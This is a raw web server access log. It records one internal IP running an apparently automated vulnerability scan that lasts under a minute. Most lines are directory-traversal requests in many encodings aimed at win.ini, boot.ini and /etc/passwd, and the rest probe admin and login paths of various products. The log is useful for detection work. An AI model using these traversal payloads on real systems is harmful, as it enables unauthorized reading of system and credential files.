[30/Apr/2022:06:28:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1" 196
[30/Apr/2022:06:28:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin.ini HTTP/1.1" 196
[30/Apr/2022:06:28:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin%2eini HTTP/1.1" 196
[30/Apr/2022:06:28:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /hc/admin/login/ HTTP/1.1" 196
[30/Apr/2022:06:28:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /qip HTTP/1.1" 196
[30/Apr/2022:06:28:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwinnt%5cwin%2eini HTTP/1.1" 196
[30/Apr/2022:06:28:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini HTTP/1.1" 196
[30/Apr/2022:06:28:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /portal/diag/index.jsp HTTP/1.1" 196
[30/Apr/2022:06:28:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /qip HTTP/1.1" 196
[30/Apr/2022:06:28:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /qip HTTP/1.1" 196
[30/Apr/2022:06:28:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /menu.htm HTTP/1.1" 196
[30/Apr/2022:06:28:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "HEAD /someunexistantstuff11101539642146178126.html HTTP/1.1" -
[30/Apr/2022:06:28:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "HEAD /someunexistantstuff.exe HTTP/1.1" -
[30/Apr/2022:06:28:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /someunexistantantsutff4752250661342355469.html HTTP/1.1" 196
[30/Apr/2022:06:28:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /someunexistantantsutff.exe HTTP/1.1" 196
[30/Apr/2022:06:28:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /auth/login HTTP/1.1" 196
[30/Apr/2022:06:28:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ui/ HTTP/1.1" 196
[30/Apr/2022:06:28:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /VncViewer.jar HTTP/1.1" 196
[30/Apr/2022:06:28:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ui/ HTTP/1.1" 196
[30/Apr/2022:06:28:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./windows/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /recoveryconsole/ HTTP/1.1" 196
[30/Apr/2022:06:28:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./.|./winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST / HTTP/1.0" -
[30/Apr/2022:06:28:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //user/index.php HTTP/1.1" 196
[30/Apr/2022:06:28:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /pages/login.php HTTP/1.1" 196
[30/Apr/2022:06:28:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.html HTTP/1.1" 196
[30/Apr/2022:06:28:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET // HTTP/1.1" -
[30/Apr/2022:06:28:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /logon.jsp HTTP/1.1" 196
[30/Apr/2022:06:28:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /webapp/js/UI_String.en-US.js HTTP/1.1" 196
[30/Apr/2022:06:28:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\windows\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\winnt\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini HTTP/1.1" 196
[30/Apr/2022:06:28:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini HTTP/1.1" 226
[30/Apr/2022:06:28:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.../.../.../.../.../.../.../.../.../winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /...\\...\\...\\...\\...\\...\\...\\...\\...\\windows\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /...\\...\\...\\...\\...\\...\\...\\...\\...\\winnt\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /..../..../..../..../..../..../..../..../..../windows/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ldap/cgi-bin/ldacgi.exe?Action=Substitute&Template=../../../../../boot.ini&Sub=LocalePath&LocalePath=enus1252 HTTP/1.1" 196
[30/Apr/2022:06:28:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /..../..../..../..../..../..../..../..../..../winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /....\\....\\....\\....\\....\\....\\....\\....\\....\\windows\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /....\\....\\....\\....\\....\\....\\....\\....\\....\\winnt\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /tightvnc-jviewer.jar HTTP/1.1" 196
[30/Apr/2022:06:28:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /././././././../../../../../windows/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /VncViewer.jar HTTP/1.1" 196
[30/Apr/2022:06:28:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /././././././../../../../../winnt/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET .\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/windows/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET .\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/winnt/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /spotfire/about.jsp HTTP/1.1" 196
[30/Apr/2022:06:28:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nessus\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nessus\\..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" 226
[30/Apr/2022:06:28:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET c:\\boot.ini HTTP/1.1" 226
[30/Apr/2022:06:28:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%80../%80../%80../%80../%80../%80../windows/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%80../%80../%80../%80../%80../%80../winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./windows/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /etc/passwd HTTP/1.1" 196
[30/Apr/2022:06:28:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //etc/passwd HTTP/1.1" 196
[30/Apr/2022:06:28:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/windows/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /index.php?s=xxxx HTTP/1.1" -
[30/Apr/2022:06:28:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/windows/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/winnt/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/fake.cgi?arg=/dir/../../../../../../../../../../../windows/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /webman/info.cgi?host= HTTP/1.1" 196
[30/Apr/2022:06:28:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/fake.cgi?arg=/dir/../../../../../../../../../../../winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/fake.cgi?arg=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/fake.cgi?arg=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /spywall/login.php HTTP/1.1" 196
[30/Apr/2022:06:28:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[30/Apr/2022:06:28:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /./../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[30/Apr/2022:06:28:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[30/Apr/2022:06:28:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /..../..../..../..../..../..../..../..../..../..../..../..../etc/passwd HTTP/1.1" 196
[30/Apr/2022:06:28:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /brightmail/viewLogin.do HTTP/1.1" 196
[30/Apr/2022:06:28:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 226
[30/Apr/2022:06:28:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[30/Apr/2022:06:28:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[30/Apr/2022:06:28:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1" 196
[30/Apr/2022:06:28:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /webui/apps/sdcss HTTP/1.1" 196
[30/Apr/2022:06:28:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /././././././../../../../../etc/passwd HTTP/1.1" 226
[30/Apr/2022:06:28:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/etc/passwd HTTP/1.1" 226
[30/Apr/2022:06:28:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.svn/entries HTTP/1.1" 196
[30/Apr/2022:06:28:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/fake.cgi?arg=/dir/../../../../../../etc/passwd HTTP/1.1" 196
[30/Apr/2022:06:28:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/fake.cgi?arg=/dir/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 196
[30/Apr/2022:06:28:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.jsp HTTP/1.1" 196
[30/Apr/2022:06:28:54 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.JSP HTTP/1.1" 196
[30/Apr/2022:06:28:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /idm/login.jsp?lang=en&cntry= HTTP/1.1" 196
[30/Apr/2022:06:28:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /stronghold-info HTTP/1.1" 196
[30/Apr/2022:06:28:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /stronghold-status HTTP/1.1" 196
[30/Apr/2022:06:28:56 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:57 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:58 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:28:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /userportal/webpages/myaccount/login.jsp HTTP/1.1" 196
[30/Apr/2022:06:28:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /webconsole/webpages/login.jsp HTTP/1.1" 196
[30/Apr/2022:06:29:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /api/sonicos/is-sslvpn-enabled HTTP/1.1" 196
[30/Apr/2022:06:29:02 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.html HTTP/1.1" 196
[30/Apr/2022:06:29:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.html HTTP/1.1" 196
[30/Apr/2022:06:29:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nexus/index.html HTTP/1.1" 196
[30/Apr/2022:06:29:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /solr/# HTTP/1.1" 226
[30/Apr/2022:06:29:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /# HTTP/1.1" 226
[30/Apr/2022:06:29:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //admincp/login.php HTTP/1.1" 196
[30/Apr/2022:06:29:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:29:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /helpdesk/WebObjects/Helpdesk.woa HTTP/1.1" 196
[30/Apr/2022:06:29:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /swvm/ConsoleContainer.jsp HTTP/1.1" 196
